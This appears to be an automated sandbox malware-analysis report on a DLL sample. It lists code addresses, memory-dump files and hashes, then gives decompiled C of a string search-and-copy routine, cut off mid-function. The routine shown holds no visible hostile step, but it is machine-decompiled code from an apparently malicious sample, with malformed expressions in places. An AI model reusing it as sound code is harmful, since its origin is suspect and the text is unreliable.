0x6ebb8f34
0x6ebb8f34
0x6ebb8f50
0x6ebb8f5a
0x6ebb8f5d
0x6ebb8f5d
0x6ebb8f62
0x6ebb8f6a
0x6ebb8f6a
0x6ebb8f6a
0x6ebb8f6b
0x6ebb8f75
0x6ebb8f7f
0x6ebb8f83
0x6ebb8f84
0x6ebb8f88
0x6ebb8f8d
0x6ebb8f91
0x6ebb8f93
0x6ebb8f96
0x6ebb8f98
0x6ebb8fea
0x6ebb8fec
0x6ebb8f9a
0x6ebb8f9a
0x6ebb8f9c
0x6ebb8f9e
0x6ebb8fa1
0x6ebb8fa4
0x6ebb8fa6
0x6ebb8fa8
0x6ebb8fac
0x6ebb8fac
0x6ebb8fae
0x6ebb8fae
0x6ebb8faf
0x6ebb8fb4
0x6ebb8fb9
0x6ebb8fbb
0x00000000
0x00000000
0x6ebb8fbd
0x6ebb8fc1
0x6ebb8fc5
0x6ebb8fc7
0x00000000
0x00000000
0x00000000
0x6ebb8fc7
0x6ebb8fc9
0x6ebb8fc9
0x6ebb8fa6
0x6ebb8fcd
0x6ebb8fcf
0x6ebb8fd0
0x6ebb8fd4
0x6ebb8fd8
0x6ebb8fdd
0x6ebb8fe1
0x6ebb8fe5
0x6ebb8fe5
0x6ebb8fef
0x6ebb8ff1
0x6ebb8ff1
0x6ebb8ff3
0x6ebb8ff5
0x6ebb9234
0x6ebb9238
0x6ebb9239
0x6ebb923b
0x6ebb924a
0x6ebb924f
0x6ebb9251
0x00000000
0x6ebb923d
0x6ebb9241
0x6ebb9243
0x00000000
0x6ebb9245
0x00000000
0x6ebb9245
0x00000000
0x6ebb9243
0x6ebb8ffb
0x6ebb8ffb
0x00000000
0x6ebb8ffb
0x6ebb8f2d
0x6ebb8f2d
0x6ebb8ffe
0x6ebb8ffe
0x6ebb9000
0x6ebb9002
0x6ebb9006
0x6ebb9006
0x6ebb9008
0x6ebb900c
0x6ebb900c
0x6ebb900d
0x6ebb9014
0x6ebb9017
0x6ebb9019
0x00000000
0x00000000
0x6ebb901e
0x6ebb9020
0x6ebb9022
0x00000000
0x00000000
0x00000000
0x6ebb9022
0x6ebb9024
0x6ebb9028
0x6ebb9028
0x6ebb902c
0x6ebb902e
0x6ebb9030
0x6ebb9039
0x00000000
0x00000000
0x6ebb9032
0x6ebb9032
0x6ebb903b
0x6ebb903b
0x6ebb9043
0x6ebb9047
0x6ebb904b
0x6ebb904f
0x6ebb904f
0x6ebb9053
0x6ebb9057
0x6ebb9059
0x00000000
0x00000000
0x6ebb905b
0x6ebb905b
0x6ebb905f
0x6ebb9060
0x6ebb9062
0x00000000
0x00000000
0x00000000
0x6ebb9062
0x6ebb9064
0x6ebb9068
0x6ebb9068
0x6ebb906c
0x6ebb906e
0x6ebb906f
0x6ebb9076
0x6ebb9078
0x6ebb91d6
0x6ebb91d6
0x6ebb91db
0x6ebb91dd
0x6ebb8c3b
0x6ebb8c3b
0x6ebb8c3e
0x6ebb8c40
0x6ebb8d95
0x6ebb8d95
0x6ebb8d9f
0x6ebb8da1
0x6ebb8da7
0x6ebb8da9
0x6ebb8dab
0x6ebb8de5
0x6ebb8de7
0x6ebb8dad
0x6ebb8dad
0x6ebb8daf
0x6ebb8db1
0x6ebb8db4
0x6ebb8db7
0x6ebb8db9
0x6ebb8dbb
0x6ebb8dbb
0x6ebb8dbd
0x6ebb8dbd
0x6ebb8dbe
0x6ebb8dc3
0x6ebb8dc8
0x6ebb8dca
0x00000000
0x00000000
0x6ebb8dcc
0x6ebb8dd0
0x6ebb8dd4
0x6ebb8dd6
0x00000000
0x00000000
0x00000000
0x6ebb8dd6
0x6ebb8dbd
0x6ebb8db9
0x6ebb8dd8
0x6ebb8dd8
0x6ebb8dda
0x6ebb8ddb
0x6ebb8de0
0x6ebb8de0
0x6ebb8dea
0x6ebb8ded
0x6ebb8def
0x6ebb8c46
0x6ebb8c48
0x6ebb8c48
0x6ebb8c4b
0x6ebb8c68
0x6ebb8c6c
0x6ebb8c78
0x6ebb8c78
0x6ebb8c7e
0x6ebb8c7e
0x6ebb8c83
0x6ebb8c87
0x6ebb8c8b
0x6ebb8c8d
0x00000000
0x00000000
0x6ebb8c93
0x6ebb8c96
0x6ebb8c98
0x00000000
0x6ebb8c9a
0x6ebb8c9a
0x6ebb8ca0
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb8ca0
0x00000000
0x6ebb8c98
0x6ebb9214
0x6ebb9219
0x6ebb8c4d
0x6ebb8c4d
0x6ebb8c4f
0x6ebb8c52
0x6ebb8ca2
0x6ebb8ca2
0x6ebb8ca6
0x6ebb8ca8
0x00000000
0x00000000
0x6ebb8caa
0x6ebb8cab
0x6ebb8cb1
0x00000000
0x6ebb8cb3
0x6ebb8cb3
0x6ebb8cb3
0x6ebb8cb3
0x00000000
0x6ebb8cb1
0x6ebb8c54
0x6ebb8c59
0x6ebb8c59
0x6ebb8c5b
0x6ebb8c5b
0x6ebb8c5f
0x6ebb8c61
0x00000000
0x00000000
0x6ebb8c63
0x6ebb8c64
0x6ebb8c66
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb8c66
0x6ebb8c5b
0x6ebb8c52
0x6ebb8cb8
0x6ebb8cbd
0x6ebb8cbd
0x6ebb8cc0
0x6ebb8cc3
0x6ebb8cc6
0x6ebb8cc8
0x6ebb8cdb
0x6ebb8cde
0x6ebb8cde
0x6ebb8ce4
0x6ebb8cec
0x6ebb8cec
0x6ebb8cec
0x6ebb8ced
0x6ebb8cf7
0x6ebb8cfe
0x6ebb8cff
0x6ebb8d02
0x6ebb8d07
0x6ebb8d0d
0x6ebb8d0f
0x6ebb8d11
0x6ebb8d5b
0x6ebb8d5d
0x6ebb8d13
0x6ebb8d13
0x6ebb8d15
0x6ebb8d17
0x6ebb8d1a
0x6ebb8d1d
0x6ebb8d1f
0x6ebb8d21
0x6ebb8d25
0x6ebb8d25
0x6ebb8d27
0x6ebb8d27
0x6ebb8d28
0x6ebb8d2d
0x6ebb8d32
0x6ebb8d34
0x00000000
0x00000000
0x6ebb8d36
0x6ebb8d3a
0x6ebb8d3e
0x6ebb8d40
0x00000000
0x00000000
0x00000000
0x6ebb8d40
0x6ebb8d42
0x6ebb8d42
0x6ebb8d1f
0x6ebb8d46
0x6ebb8d48
0x6ebb8d49
0x6ebb8d4d
0x6ebb8d52
0x6ebb8d56
0x6ebb8d56
0x6ebb8d60
0x6ebb8d63
0x6ebb8d66
0x6ebb8cca
0x6ebb8cca
0x6ebb8cca
0x6ebb8d68
0x6ebb8d6a
0x6ebb8d6c
0x6ebb8d72
0x6ebb8d7c
0x6ebb8d7c
0x6ebb8d7f
0x6ebb8d80
0x6ebb8d83
0x6ebb8d85
0x00000000
0x00000000
0x6ebb8d87
0x6ebb8d89
0x6ebb920b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb8d8f
0x6ebb8d8f
0x6ebb8d91
0x6ebb8d76
0x6ebb8d79
0x6ebb8d79
0x00000000
0x6ebb8d79
0x00000000
0x6ebb8d91
0x6ebb8d7c
0x6ebb8d6c
0x6ebb907e
0x6ebb9082
0x6ebb9084
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb9084
0x6ebb9078
0x6ebb8f2b
0x6ebb8f1b
0x6ebb8f17
0x6ebb8c1c
0x6ebb8c1c
0x6ebb8c1c
0x6ebb8c20
0x00000000
0x6ebb8c20
0x00000000
0x6ebb8c16
0x6ebb929a
0x6ebb929c
0x00000000
0x6ebb929c
0x00000000
0x6ebb8c24
0x6ebb8c24
0x6ebb8c25
0x6ebb8c25
0x00000000
0x6ebb8be4
0x6ebb8b19
0x6ebb8b12
0x6ebb8a8b
0x6ebb8df6
0x6ebb8df6
0x6ebb8df8
0x6ebb8df9
0x6ebb8e0a
0x6ebb8a04
0x6ebb8a04
0x6ebb8a07
0x6ebb8a09
0x6ebb8a0e
0x6ebb8a10
0x6ebb8a18
0x6ebb8a1a
0x6ebb8a20
0x6ebb8a24
0x6ebb8a5c
0x6ebb8a26
0x6ebb8a28
0x6ebb8a2a
0x6ebb8a2d
0x6ebb8a32
0x6ebb8a34
0x6ebb8a34
0x6ebb8a35
0x6ebb8a3a
0x6ebb8a41
0x00000000
0x00000000
0x6ebb8a43
0x6ebb8a47
0x6ebb8a4d
0x00000000
0x00000000
0x00000000
0x6ebb8a4d
0x6ebb8a34
0x6ebb8a32
0x6ebb8a4f
0x6ebb8a4f
0x6ebb8a51
0x6ebb8a52
0x6ebb8a57
0x6ebb8a57
0x6ebb8a5f
0x6ebb8a62
0x6ebb8a69
0x6ebb8a74
0x6ebb8a74
0x00000000

Strings

@, xrefs: 6EBB9229

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction ID: dd2ab44ce5a1a9acfa76728513b11bb3affdb50cde8a611afa30e56011d33095
Opcode Fuzzy Hash: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction Fuzzy Hash: BB4205B1A147938BE7548FADC89023A7AE2EFD5350F15862DE8A5DB394EF35C841C381

Uniqueness

Uniqueness Score: -1.00%

Function 6EBAA660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EBAA660(signed int __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _t219;
				signed int _t220;
				signed int _t221;
				signed int _t224;
				signed short** _t227;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t237;
				signed int _t238;
				signed int _t240;
				unsigned int _t242;
				signed int _t248;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t260;
				signed int _t263;
				signed int _t264;
				unsigned int _t270;
				signed int _t271;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t288;
				signed int _t293;
				signed int _t294;
				signed int _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t309;
				signed int _t312;
				unsigned int _t318;
				signed int _t319;
				signed int _t321;
				signed short* _t323;
				signed int _t324;
				signed int _t325;
				unsigned int _t326;
				signed int _t331;
				signed int _t333;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed short* _t344;
				signed int _t345;
				signed short* _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t356;
				signed int _t362;
				unsigned int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				void* _t369;
				signed int _t370;
				signed int _t371;
				signed int _t376;
				signed int _t378;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t403;
				signed int _t404;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed int _t421;
				signed int* _t422;
				signed int _t425;
				signed int _t428;
				signed int _t432;
				signed int _t434;
				signed int _t438;
				signed int _t439;
				signed int _t440;
				signed int _t441;
				signed int _t444;
				void* _t447;

				_t312 = __ecx;
				_t296 = 0;
				_v40 = 0;
				_t398 = __ecx;
				_v36 = 0;
				_push(0x80);
				_t417 = E6EBA1030();
				_t447 = (_t444 & 0xfffffff0) - 0x34 + 4;
				_t344 = _v40;
				if(_t344 == 0) {
					 *_t417 = 0;
					L8:
					_v36 = 0x40;
					_v40 = _t417;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t417;
						if(_t417 == 0) {
							_t418 = 0x40;
							_t345 = _t296;
							L23:
							_t24 = _t345 + 2; // 0x80000001
							_t219 = _t24;
							__eflags = _t219 - 0x40;
							_t220 =  <=  ? 0x40 : _t219;
							__eflags = _t418 - _t220;
							if(_t418 < _t220) {
								_t318 = (_t220 >> 5 >> 0x1a) + _t220 >> 6;
								_t221 = _t220 & 0x8000003f;
								__eflags = _t221;
								if(_t221 < 0) {
									_t221 = (_t221 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t221;
								}
								__eflags = _t221;
								_t319 = _t318 + (_t296 & 0xffffff00 | _t221 > 0x00000000);
								_v64 = _t319 << 6;
								_push(_t319 << 7);
								_v60 = _t345;
								_t224 = E6EBA1030();
								_t345 = _v60;
								_t421 = _t224;
								_t447 = _t447 + 4;
								_t321 = _v40;
								__eflags = _t321;
								if(_t321 == 0) {
									 *_t421 = _t296;
									goto L36;
								} else {
									__eflags = _t421;
									if(_t421 == 0) {
										L34:
										_push(2);
										_push(_t321);
										_v60 = _t345;
										E6EBA10B0();
										_t345 = _v60;
										_t447 = _t447 + 8;
										L36:
										_v36 = _v64;
										_v40 = _t421;
										L37:
										 *((short*)(_t421 + _t345 * 2)) = _a8 & 0x0000ffff;
										_t227 =  &_v40;
										 *( *_t227 + 2 + _t345 * 2) = _t296;
										L38:
										_t346 =  *_t227;
										_t422 = _a4;
										if(_t346 == 0) {
											L40:
											_push(0x80);
											 *_t422 = _t296;
											_t422[1] = _t296;
											_t399 = E6EBA1030();
											_t447 = _t447 + 4;
											_t323 =  *_t422;
											if(_t323 == 0) {
												 *_t399 = _t296;
												L62:
												 *_t422 = _t399;
												_t422[1] = 0x40;
												L63:
												_push(2);
												_push(_v40);
												E6EBA10B0();
												_v40 = _t296;
												_v36 = _t296;
												return _t422;
											}
											if(_t399 == 0) {
												L46:
												_push(2);
												_push(_t323);
												E6EBA10B0();
												_t447 = _t447 + 8;
												goto L62;
											}
											_t347 =  *_t323 & 0x0000ffff;
											 *_t399 = _t347;
											if(_t347 == 0) {
												goto L46;
											}
											_t348 = _t296;
											while(1) {
												_t348 = _t348 + 1;
												_t232 =  *(_t323 + _t348 * 4 - 2) & 0x0000ffff;
												 *(_t399 + _t348 * 4 - 2) = _t232;
												if(_t232 == 0) {
													goto L46;
												}
												_t233 =  *(_t323 + _t348 * 4) & 0x0000ffff;
												 *(_t399 + _t348 * 4) = _t233;
												if(_t233 != 0) {
													continue;
												}
												goto L46;
											}
											goto L46;
										}
										_t234 =  *_t346 & 0x0000ffff;
										if(_t234 != 0) {
											_t324 =  *_t398;
											__eflags = _t324;
											if(_t324 == 0) {
												L54:
												_push(0x80);
												 *_t422 = _t296;
												_t422[1] = _t296;
												_t399 = E6EBA1030();
												_t447 = _t447 + 4;
												_t325 =  *_t422;
												__eflags = _t325;
												if(_t325 == 0) {
													 *_t399 = _t296;
													goto L62;
												}
												__eflags = _t399;
												if(_t399 == 0) {
													L60:
													_push(2);
													_push(_t325);
													E6EBA10B0();
													_t447 = _t447 + 8;
													goto L62;
												}
												_t349 =  *_t325 & 0x0000ffff;
												 *_t399 = _t349;
												__eflags = _t349;
												if(_t349 == 0) {
													goto L60;
												}
												_t350 = _t296;
												while(1) {
													_t350 = _t350 + 1;
													_t237 =  *(_t325 + _t350 * 4 - 2) & 0x0000ffff;
													 *(_t399 + _t350 * 4 - 2) = _t237;
													__eflags = _t237;
													if(_t237 == 0) {
														goto L60;
													}
													_t238 =  *(_t325 + _t350 * 4) & 0x0000ffff;
													 *(_t399 + _t350 * 4) = _t238;
													__eflags = _t238;
													if(_t238 != 0) {
														continue;
													}
													goto L60;
												}
												goto L60;
											}
											__eflags =  *_t324 & 0x0000ffff;
											if(( *_t324 & 0x0000ffff) == 0) {
												goto L54;
											}
											_v32 = _t346;
											__eflags = _t234 - 0x41 - 0x19;
											_t239 =  <=  ? _t234 + 0x20 : _t234;
											_t403 = _t296;
											_t240 = ( <=  ? _t234 + 0x20 : _t234) & 0x0000ffff;
											_v48 = _t240;
											while(1) {
												_t425 =  *(_t324 + _t403 * 2) & 0x0000ffff;
												__eflags = _t425 - 0x41 - 0x19;
												_t426 =  <=  ? _t425 + 0x20 : _t425;
												__eflags = ( <=  ? _t425 + 0x20 : _t425) - _t240;
												if(( <=  ? _t425 + 0x20 : _t425) == _t240) {
													break;
												}
												_t403 = _t403 + 1;
												__eflags =  *(_t324 + _t403 * 2) & 0x0000ffff;
												if(( *(_t324 + _t403 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												L53:
												_t422 = _a4;
												_t296 = 0;
												__eflags = 0;
												goto L54;
											}
											_t352 = _v32;
											_t404 = _t324 + _t403 * 2;
											_t422 = _a4;
											_t296 = 0;
											__eflags = _t404;
											if(_t404 == 0) {
												goto L54;
											}
											_t428 = _t352 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_v64 = _t428;
											_t242 = _t428 & 0x00000001;
											_v52 = _t242;
											_v56 =  ~_t428 + 0x10 >> 1;
											_v60 = _t324;
											_v32 = _t352;
											_t432 = _v64;
											_t299 = _v56;
											_t326 = _t242;
											while(1) {
												L70:
												_t353 = _t432;
												__eflags = _t432;
												if(_t432 == 0) {
													goto L76;
												}
												_t251 = 0;
												__eflags = _t326;
												if(_t326 != 0) {
													L80:
													_t333 = _v32;
													while(1) {
														__eflags =  *(_t333 + _t251 * 2) & 0x0000ffff;
														if(( *(_t333 + _t251 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t251 = _t251 + 1;
														__eflags = _t251 - 0x7fffffff;
														if(_t251 < 0x7fffffff) {
															continue;
														}
														_v32 = _t333;
														L84:
														_t251 = 0x7fffffff;
														L85:
														_v68 = _t251;
														_t354 = 0;
														__eflags = 0;
														while(1) {
															_t302 =  *(_t404 + _t354 * 2) & 0x0000ffff;
															_t434 =  *(_v32 + _t354 * 2) & 0x0000ffff;
															__eflags = _t302 - 0x61 - 0x19;
															_t303 =  <=  ? _t302 - 0x20 : _t302;
															_t253 = ( <=  ? _t302 - 0x20 : _t302) & 0x0000ffff;
															__eflags = _t434 - 0x61 - 0x19;
															_t435 =  <=  ? _t434 - 0x20 : _t434;
															__eflags = _t253 - ( <=  ? _t434 - 0x20 : _t434);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t253;
															if(_t253 == 0) {
																L90:
																_t335 = _v60;
																_t296 = 0;
																_t422 = _a4;
																__eflags = _t404;
																if(_t404 == 0) {
																	goto L54;
																}
																_t406 = _t404 - _t335;
																__eflags = _t406;
																_t407 = _t406 >> 1;
																if(_t406 != 0) {
																	_t257 = _t335 & 0x0000000f;
																	__eflags = _t257;
																	if(_t257 == 0) {
																		L106:
																		_t362 =  ~( ~_t257 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t362;
																		while(1) {
																			asm("movdqu xmm1, [ecx+eax*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb ebx, xmm1");
																			__eflags = _t296;
																			if(_t296 != 0) {
																				break;
																			}
																			_t257 = _t257 + 8;
																			__eflags = _t257 - _t362;
																			if(_t257 < _t362) {
																				continue;
																			}
																			_t296 = 0;
																			__eflags = _t362 - 0x7fffffff;
																			if(_t362 >= 0x7fffffff) {
																				L112:
																				_t362 = 0x7fffffff;
																				L113:
																				_t260 = _t362 >> 0x0000001f & _t362;
																				_t365 = _t362 - _t260;
																				__eflags = _t407;
																				if(_t407 < 0) {
																					L115:
																					_t407 = _t365;
																					L116:
																					 *_t422 = _t296;
																					_t336 = _t335 + _t260 * 2;
																					_t422[1] = _t296;
																					__eflags = _t336;
																					if(_t336 == 0) {
																						L151:
																						_push(0x80);
																						_t399 = E6EBA1030();
																						_t447 = _t447 + 4;
																						_t337 =  *_t422;
																						__eflags = _t337;
																						if(_t337 == 0) {
																							 *_t399 = _t296;
																							goto L62;
																						}
																						__eflags = _t399;
																						if(_t399 == 0) {
																							L157:
																							_push(2);
																							_push(_t337);
																							E6EBA10B0();
																							_t447 = _t447 + 8;
																							goto L62;
																						}
																						_t366 =  *_t337 & 0x0000ffff;
																						 *_t399 = _t366;
																						__eflags = _t366;
																						if(_t366 == 0) {
																							goto L157;
																						}
																						_t367 = _t296;
																						while(1) {
																							_t367 = _t367 + 1;
																							_t263 =  *(_t337 + _t367 * 4 - 2) & 0x0000ffff;
																							 *(_t399 + _t367 * 4 - 2) = _t263;
																							__eflags = _t263;
																							if(_t263 == 0) {
																								goto L157;
																							}
																							_t264 =  *(_t337 + _t367 * 4) & 0x0000ffff;
																							 *(_t399 + _t367 * 4) = _t264;
																							__eflags = _t264;
																							if(_t264 != 0) {
																								continue;
																							}
																							goto L157;
																						}
																						goto L157;
																					}
																					__eflags =  *_t336 & 0x0000ffff;
																					if(( *_t336 & 0x0000ffff) == 0) {
																						goto L151;
																					}
																					__eflags = _t407;
																					if(_t407 != 0) {
																						L131:
																						_t159 = _t407 + 1; // 0x80000000
																						_t369 = _t159;
																						__eflags = _t369 - 0x40;
																						_t370 =  <=  ? 0x40 : _t369;
																						__eflags = _t370;
																						if(_t370 > 0) {
																							_t270 = (_t370 >> 5 >> 0x1a) + _t370 >> 6;
																							_t371 = _t370 & 0x8000003f;
																							__eflags = _t371;
																							if(_t371 < 0) {
																								_t371 = (_t371 - 0x00000001 | 0xffffffc0) + 1;
																								__eflags = _t371;
																							}
																							__eflags = _t371;
																							_t271 = _t270 + (_t296 & 0xffffff00 | _t371 > 0x00000000);
																							_v64 = _t271 << 6;
																							_push(_t271 << 7);
																							_v60 = _t336;
																							_t273 = E6EBA1030();
																							_t336 = _v60;
																							_t447 = _t447 + 4;
																							_t376 =  *_t422;
																							__eflags = _t376;
																							if(_t376 == 0) {
																								 *_t273 = _t296;
																								goto L143;
																							} else {
																								__eflags = _t273;
																								if(_t273 == 0) {
																									L141:
																									_push(2);
																									_push(_t376);
																									_v68 = _t273;
																									_v60 = _t336;
																									E6EBA10B0();
																									_t336 = _v60;
																									_t273 = _v68;
																									_t447 = _t447 + 8;
																									L143:
																									_t422[1] = _v64;
																									 *_t422 = _t273;
																									L144:
																									__eflags = _t273;
																									if(_t273 == 0) {
																										goto L63;
																									}
																									_t378 = _t296;
																									while(1) {
																										_t309 =  *_t336 & 0x0000ffff;
																										_t378 = _t378 + 1;
																										 *_t273 = _t309;
																										__eflags = _t407;
																										if(_t407 == 0) {
																											goto L149;
																										}
																										__eflags = _t378 - _t407;
																										if(_t378 == _t407) {
																											_t296 = 0;
																											 *(_t273 + 2) = 0;
																											goto L63;
																										}
																										L149:
																										__eflags = _t309;
																										if(_t309 == 0) {
																											_t296 = 0;
																											goto L63;
																										}
																										_t273 = _t273 + 2;
																										_t336 = _t336 + 2;
																										__eflags = _t336;
																									}
																								}
																								_t438 =  *_t376 & 0x0000ffff;
																								 *_t273 = _t438;
																								__eflags = _t438;
																								_t422 = _a4;
																								if(_t438 == 0) {
																									goto L141;
																								} else {
																									goto L138;
																								}
																								while(1) {
																									L138:
																									_t296 = _t296 + 1;
																									_t439 =  *(_t376 + _t296 * 4 - 2) & 0x0000ffff;
																									 *(_t273 + _t296 * 4 - 2) = _t439;
																									__eflags = _t439;
																									if(_t439 == 0) {
																										break;
																									}
																									_t440 =  *(_t376 + _t296 * 4) & 0x0000ffff;
																									 *(_t273 + _t296 * 4) = _t440;
																									__eflags = _t440;
																									if(_t440 != 0) {
																										continue;
																									}
																									break;
																								}
																								_t422 = _a4;
																								_t296 = 0;
																								__eflags = 0;
																								goto L141;
																							}
																						}
																						_t273 = _t296;
																						goto L144;
																					}
																					_t382 = _t336 & 0x0000000f;
																					__eflags = _t382;
																					if(_t382 == 0) {
																						L124:
																						_t407 =  ~( ~_t382 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t407;
																						while(1) {
																							asm("movdqu xmm1, [ecx+edx*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb eax, xmm1");
																							__eflags = _t260;
																							if(_t260 != 0) {
																								break;
																							}
																							_t382 = _t382 + 8;
																							__eflags = _t382 - _t407;
																							if(_t382 < _t407) {
																								continue;
																							}
																							__eflags = _t407 - 0x7fffffff;
																							if(_t407 >= 0x7fffffff) {
																								L130:
																								_t407 = 0x7fffffff;
																								goto L131;
																							} else {
																								goto L128;
																							}
																							while(1) {
																								L128:
																								__eflags =  *(_t336 + _t407 * 2) & 0x0000ffff;
																								if(( *(_t336 + _t407 * 2) & 0x0000ffff) == 0) {
																									goto L131;
																								}
																								_t407 = _t407 + 1;
																								__eflags = _t407 - 0x7fffffff;
																								if(_t407 < 0x7fffffff) {
																									continue;
																								}
																								goto L130;
																							}
																							goto L131;
																						}
																						asm("bsf edi, eax");
																						_t407 = (_t407 >> 1) + _t382;
																						goto L131;
																					}
																					_t407 = _t296;
																					__eflags = _t382 & 0x00000001;
																					if((_t382 & 0x00000001) != 0) {
																						goto L128;
																					}
																					_t382 =  ~_t382 + 0x10 >> 1;
																					__eflags = _t382;
																					while(1) {
																						_t260 =  *(_t336 + _t407 * 2) & 0x0000ffff;
																						__eflags = _t260;
																						if(_t260 == 0) {
																							goto L131;
																						}
																						_t407 = _t407 + 1;
																						__eflags = _t407 - _t382;
																						if(_t407 < _t382) {
																							continue;
																						}
																						goto L124;
																					}
																					goto L131;
																				}
																				__eflags = _t407 - _t365;
																				if(_t407 <= _t365) {
																					goto L116;
																				}
																				goto L115;
																			} else {
																				goto L110;
																			}
																			while(1) {
																				L110:
																				__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																				if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																					goto L113;
																				}
																				_t362 = _t362 + 1;
																				__eflags = _t362 - 0x7fffffff;
																				if(_t362 < 0x7fffffff) {
																					continue;
																				}
																				goto L112;
																			}
																			goto L113;
																		}
																		_t363 = _t296;
																		_t296 = 0;
																		asm("bsf edx, edx");
																		_t362 = (_t363 >> 1) + _t257;
																		goto L113;
																	}
																	_t362 = 0;
																	__eflags = _t257 & 0x00000001;
																	if((_t257 & 0x00000001) != 0) {
																		goto L110;
																	}
																	_t257 =  ~_t257 + 0x10 >> 1;
																	__eflags = _t257;
																	while(1) {
																		__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																		if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t362 = _t362 + 1;
																		__eflags = _t362 - _t257;
																		if(_t362 < _t257) {
																			continue;
																		}
																		_t296 = 0;
																		__eflags = 0;
																		goto L106;
																	}
																	_t296 = 0;
																	goto L113;
																}
																_push(0x80);
																 *_t422 = 0;
																_t422[1] = 0;
																_t399 = E6EBA1030();
																_t447 = _t447 + 4;
																_t338 =  *_t422;
																__eflags = _t338;
																if(_t338 == 0) {
																	 *_t399 = 0;
																	goto L62;
																}
																__eflags = _t399;
																if(_t399 == 0) {
																	L98:
																	_push(2);
																	_push(_t338);
																	E6EBA10B0();
																	_t447 = _t447 + 8;
																	goto L62;
																}
																_t386 =  *_t338 & 0x0000ffff;
																 *_t399 = _t386;
																__eflags = _t386;
																if(_t386 == 0) {
																	goto L98;
																}
																_t387 = 0;
																while(1) {
																	_t387 = _t387 + 1;
																	_t280 =  *(_t338 + _t387 * 4 - 2) & 0x0000ffff;
																	 *(_t399 + _t387 * 4 - 2) = _t280;
																	__eflags = _t280;
																	if(_t280 == 0) {
																		goto L98;
																	}
																	_t281 =  *(_t338 + _t387 * 4) & 0x0000ffff;
																	 *(_t399 + _t387 * 4) = _t281;
																	__eflags = _t281;
																	if(_t281 != 0) {
																		continue;
																	}
																	goto L98;
																}
																goto L98;
															}
															_t354 = _t354 + 1;
															__eflags = _t354 - _v68;
															if(_t354 < _v68) {
																continue;
															}
															goto L90;
														}
														_t356 = _t404 + 2;
														__eflags = _t356;
														if(_t356 == 0) {
															goto L53;
														}
														__eflags =  *(_t404 + 2) & 0x0000ffff;
														if(( *(_t404 + 2) & 0x0000ffff) == 0) {
															goto L53;
														}
														_v44 = _t404;
														_t255 = 0;
														__eflags = 0;
														while(1) {
															_t255 = _t255 + 1;
															_t404 = _v44 + _t255 * 2;
															_t331 =  *_t404 & 0x0000ffff;
															__eflags = ( *(_t356 + _t255 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t332 =  <=  ? _t331 + 0x20 : _t331;
															__eflags = ( <=  ? _t331 + 0x20 : _t331) - _v48;
															if(( <=  ? _t331 + 0x20 : _t331) == _v48) {
																break;
															}
															__eflags =  *(_t356 + _t255 * 2) & 0x0000ffff;
															if(( *(_t356 + _t255 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L53;
														}
														_t432 = _v64;
														_t299 = _v56;
														_t326 = _v52;
														goto L70;
													}
													_v32 = _t333;
													L163:
													__eflags = _t251;
													if(__eflags == 0) {
														goto L84;
													}
													if(__eflags > 0) {
														goto L85;
													}
													goto L90;
												}
												_t441 = _v32;
												_t353 = _t299;
												while(1) {
													__eflags =  *(_t441 + _t251 * 2) & 0x0000ffff;
													if(( *(_t441 + _t251 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t251 = _t251 + 1;
													__eflags = _t251 - _t299;
													if(_t251 < _t299) {
														continue;
													}
													_v32 = _t441;
													_t326 = _v52;
													goto L76;
												}
												_v32 = _t441;
												goto L163;
												L76:
												_t300 = _v32;
												_t248 =  ~( ~_t353 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t248;
												while(1) {
